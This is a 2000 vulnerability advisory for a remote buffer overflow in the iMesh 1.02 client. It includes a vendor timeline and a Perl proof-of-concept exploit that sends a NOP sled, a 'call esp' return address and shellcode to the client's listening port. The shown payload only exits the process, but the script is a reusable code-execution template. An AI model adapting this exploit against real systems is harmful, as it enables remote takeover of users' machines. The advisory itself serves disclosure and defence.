OSEC

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Subject: iMesh 1.02 vulnerability
From: Blue Panda (bluepandaMAIL.BOX.SK)
Date: Thu Jun 29 2000 - 05:53:39 CDT


================================================================
BluePanda Vulnerability Announcement: iMesh 1.02 Build 116/117
29/06/2000 (dd/mm/yyyy)

bluepandadwarf.box.sk
http://bluepanda.box.sk/
================================================================

====================
Brief description:
====================

iMesh 1.02 builds 116 and 177 are vulnerable to a buffer overflow that can be
exploited to execute arbitrary code. Once iMesh connects to a server, it
begins listening on a TCP port (varies). An attacker can connect to this port
and cause an overflow which will overwrite EIP, effectively redirecting the
flow of execution.

================
Vendor status:
================

iMesh were notified of this vulnerability on Sunday the 18th of June. Proof
of concept was provided, and I did not receive a response from them until
that Thursday. I replied that night, and did not receive a reply until the
following Tuesday (the 27th of June). I was informed that the problem had
been fixed, but a patch would not be made available to the public, and the
changes would be incorporated into the next version of iMesh - the release
date of which I was not given.

=====================
Affected versions:
=====================

Vulnerable: iMesh 1.02 Build 116/117, possibly prior versions (untested).
Immune: No publicly released version of iMesh as of 29/06/2000 (dd/mm/yyyy).

===================
Proof of concept:
===================

#!/usr/bin/perl
#
# iMesh 1.02 Build 116/117 client buffer overflow
# Blue Panda - bluepandadwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Note: The payload executed by this script just calls ExitProcess (causing
# iMesh to exit silently).
#

use IO::Socket;

$host = "localhost";
$port = "4011"; # This may require adjustment.

# Call ExitProcess.
$payload = "\xff\x25\x18\xb2\x4c\x00";

$count = 0;
$es = "";
while($count < 0x272d) {
        $es .= "\x90";
        $count += 1;
}
$es .= "\x43\x04\x43\x00"; # IMESHCLIENT.EXE, call esp
$count = 0;
while($count < 2048) {
        $es .= "\x90";
        $count += 1;
}
$es .= $payload; # Tack the payload onto the end.

print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
print "done.\n";
print $socket "$es";

print "Waiting 5 seconds...\n";
sleep(5);

# Done.
close($socket);
print "Finished.\n";